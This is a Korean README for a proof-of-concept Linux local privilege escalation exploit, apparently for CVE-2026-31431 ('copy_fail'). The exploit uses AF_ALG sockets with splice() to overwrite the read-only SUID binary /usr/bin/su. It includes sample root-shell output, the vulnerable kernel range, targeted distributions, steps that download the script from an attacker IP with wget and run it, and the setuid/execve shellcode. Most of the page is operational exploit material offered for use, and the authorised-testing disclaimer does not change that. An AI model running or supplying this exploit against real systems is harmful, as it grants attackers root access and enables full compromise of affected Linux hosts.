
# CVE-2026-31431(copy_fail)용 PoC 셸 익스플로잇 — AF_ALG + splice 페이지 캐시 덮어쓰기를 통한 Linux LPE. 단일 실행, 레이스 컨디션 없음, 커널 4.9–6.18.
AF_ALG 소켓 + splice() 페이지 캐시 덮어쓰기를 통한 로컬 권한 상승.
읽기 전용 SUID 바이너리(/usr/bin/su)를 setuid(0) + execve("/bin/sh")를 호출하는 최소 ELF로 덮어씁니다. 레이스 컨디션 없음, 배포판별 오프셋 없음, 단일 실행.
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 is in the vulnerable window (4.9 – 6.18) — proceeding
[*] Compiling...
[+] Compiled OK — launching
# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)
Linux 커널의 AF_ALG(암호화 API) 소켓은 splice()와 결합하여 페이지 캐시를 조작함으로써 O_RDONLY로 열린 파일에 쓰기를 가능하게 합니다. 커널은 ALG 소켓의 splice 경로 내부에 있는 copy-on-write 단축 경로에서 쓰기 권한 검사를 건너뜁니다. 이는 Dirty Pipe(CVE-2022-0847)와 동일한 계열의 버그이지만 커널 4.9에서 도입된 다른 코드 경로를 통해 트리거됩니다.
| 커널 범위 | 상태 |
|---|---|
| < 4.9 | 영향 없음 (취약한 코드 경로 없음) |
| 4.9 – 6.18 | 취약 (~9년, 2017–2026) |
| ≥ 6.19 | 패치됨 |
| 배포판 | 커널 |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
gcc 사용 가능/tmp에 대한 쓰기 권한# 대상 시스템에서
wget http://<your-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh
스크립트는 다음을 수행합니다:
/usr/bin/su를 루트 셸 페이로드로 덮어쓰기AF_ALG socket (AEAD)
│
│ sendmsg() with crafted ancillary data (ALG_SET_OP / ALG_SET_IV)
│
▼
op_fd (operation socket)
▲
│ splice(): file_fd → pipe → op_fd
│
/usr/bin/su (O_RDONLY)
ALG 소켓 내부의 커널 splice 경로는 copy-on-write 권한 검사를 건너뛰어, 대상 파일이 읽기 전용으로 열려 있음에도 불구하고 페이지 캐시에 직접 씁니다. 페이로드(160바이트 ELF)는 40회 반복에 걸쳐 4바이트씩 기록됩니다.
페이로드 셸코드:
xor eax, eax
xor edi, edi ; uid = 0
mov al, 105 ; SYS_setuid
syscall ; setuid(0)
lea rdi, [rip+0xf] ; -> "/bin/sh"
xor esi, esi ; argv = NULL
push 59 / pop rax ; SYS_execve
cdq ; envp = NULL
syscall ; execve("/bin/sh", NULL, NULL)
| 파일 | 설명 |
|---|---|
copy_fail_exp.sh | Bash 스크립트 — 대상에서 컴파일 및 실행, Python 불필요 |
copy_fail_exp.py | 참조용 원본 Python 버전 |
copy_fail_exp_deobfuscated.py | 난독화 해제 및 주석 처리된 Python 버전 |
승인된 보안 테스트 및 CTF/랩 환경 전용입니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에는 사용하지 마십시오.